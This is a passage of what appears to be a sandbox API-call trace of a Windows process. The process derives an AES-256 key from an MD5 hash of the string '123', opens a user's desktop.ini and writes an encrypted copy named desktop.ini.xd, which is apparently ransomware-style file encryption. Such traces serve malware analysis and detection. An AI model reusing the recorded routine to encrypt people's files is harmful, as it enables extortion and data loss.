wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.405] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0072.405] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.405] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.405] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.405] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.405] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.405] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.405] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.405] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0072.405] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.405] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0072.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621408, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0072.406] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0072.406] CryptCreateHash (in: hProv=0x17aaa28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0072.406] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.406] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.406] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.406] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0072.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294a0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0072.406] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0072.406] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0072.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629520, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0072.407] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.407] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.407] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.407] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0072.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16218e8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0072.407] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0072.407] CryptHashData (hHash=0x164c530, pbData=0x16294f0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0072.407] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.407] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.407] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.407] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.408] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.408] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0072.408] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.408] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0072.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16217f8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0072.408] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0072.409] CryptDeriveKey (in: hProv=0x17aaa28, Algid=0x6610, hBaseData=0x164c530, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c3f0) returned 1 [0072.409] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.409] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.409] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.409] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.409] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.409] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.409] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0072.409] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0072.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164df90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0072.410] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0072.410] CryptDestroyHash (hHash=0x164c530) returned 1 [0072.410] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.410] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.410] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.410] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.410] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.411] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\desktop.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my shapes\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0072.414] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.414] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0072.414] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.415] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.415] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.415] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my shapes")) returned 0x14 [0072.417] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\desktop.ini.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my shapes\\desktop.ini.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0072.420] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.420] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.420] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.420] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.422] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0072.422] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xd8, lpOverlapped=0x0) returned 1 [0072.423] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0072.425] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.425] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.425] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.425] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0072.425] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.425] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.425] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0072.425] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.425] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0072.425] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.425] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.425] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.425] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0072.426] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0072.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0072.426] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0072.426] CryptGetKeyParam (in: hKey=0x164c3f0, dwParam=0x7, pbData=0x16293f0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16293f0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0072.426] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.426] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.426] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.426] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.426] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.426] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.426] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.426] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.427] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0072.427] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.427] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.427] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0072.427] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.427] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.427] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0072.427] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.427] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.427] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.427] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.427] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.427] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.427] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.427] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.427] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.427] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0072.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16216a8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0072.428] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0072.428] CryptEncrypt (in: hKey=0x164c3f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xd8, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xe0) returned 1 [0072.428] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.428] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.428] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.428] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.428] CharLowerBuffW (in: lpsz="byte[225]", cchLength=0x9 | out: lpsz="byte[225]") returned 0x9 [0072.428] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.428] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.428] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.428] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.428] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0072.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621bd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0072.429] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0072.429] CryptEncrypt (in: hKey=0x164c3f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17a1cf8*, pdwDataLen=0x130e618*=0xd8, dwBufLen=0xe0 | out: pbData=0x17a1cf8*, pdwDataLen=0x130e618*=0xe0) returned 1 [0072.429] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.429] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.429] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.429] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.429] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.429] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.429] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0072.429] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.429] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0072.429] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.430] PeekMessageW (in: lpMsg=0x130e784, 